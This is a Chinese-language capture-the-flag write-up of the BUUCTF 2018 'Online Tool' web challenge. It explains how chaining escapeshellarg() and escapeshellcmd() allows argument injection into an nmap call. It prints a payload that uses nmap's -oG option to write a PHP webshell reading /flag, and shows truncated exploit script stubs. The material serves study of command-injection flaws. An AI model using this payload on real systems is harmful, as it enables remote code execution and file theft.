BUUCTF 2018 - Web - Online Tool

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
BUUCTF 2018 - Web - Online Tool
Hunter结论先行:
escapeshellarg()+escapeshellcmd()组合可被绕过闭合单引号;用nmap -oG把含<?php ...?>的结果写进沙盒a.php,访问木马读/flag。
题目信息
| 项 | 内容 |
|---|---|
| 比赛 | BUUCTF 2018 |
| 方向 | Web |
| 难度 | 中等 |
| 环境 | 授权靶场(已脱敏) |
题目描述:一个在线 nmap 扫描工具,host 参数经 escapeshellarg() + escapeshellcmd() 过滤后执行 system("nmap ...")。
信息收集
源码
1 |
|
漏洞分析
escapeshellarg() 先给字符串加单引号并转义已有单引号,escapeshellcmd() 再转义特殊字符(含 \ 和不成对的 ')。
两者组合存在经典绕过漏洞(seebug:PHP escapeshellarg()+escapeshellcmd() 之殇):
- 输入:
172.17.0.2' -v -d a=1 escapeshellarg后:'172.17.0.2'\'' -v -d a=1'escapeshellcmd后:'172.17.0.2'\\'' -v -d a=1\'- 中间的
\\被 shell 解释为\不再起转义作用,导致后面的'与再后面的'配成空白连接符,从而闭合了单引号,让后面的内容能注入为 nmap 参数。
利用过程
利用 nmap 的 -oG 参数把扫描结果(含我们注入的 PHP 代码)写到文件,实现写一句话木马:
1 | host=' <?php echo `cat /flag`;?> -oG a.php ' |
sandbox 目录 = md5("glzjin" . REMOTE_ADDR),访问 /沙盒/a.php 执行木马读 flag。
注意:REMOTE_ADDR 会被 X-Forwarded-For 覆盖,沙盒目录名可从页面输出的 you are in sandbox <md5> 中提取。
完整 EXP
1 | import urllib.request, urllib.parse |
等价 curl(写马 payload 需 URL 编码):
1 | # 写木马 |
Flag
1 | flag{xxxx} |
踩坑与总结
escapeshellarg()+escapeshellcmd()组合使用可被绕过(转义单引号 + 反斜杠的连锁反应)。- nmap
-oG(grepable output)可写文件,配合一句话木马实现 RCE。 - sandbox 目录名由
md5("glzjin" . REMOTE_ADDR)决定,可从页面输出中提取。 - 两个「安全函数」叠加反而引入新缺陷,说明过滤链要整体审计,不能逐段认为安全。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果








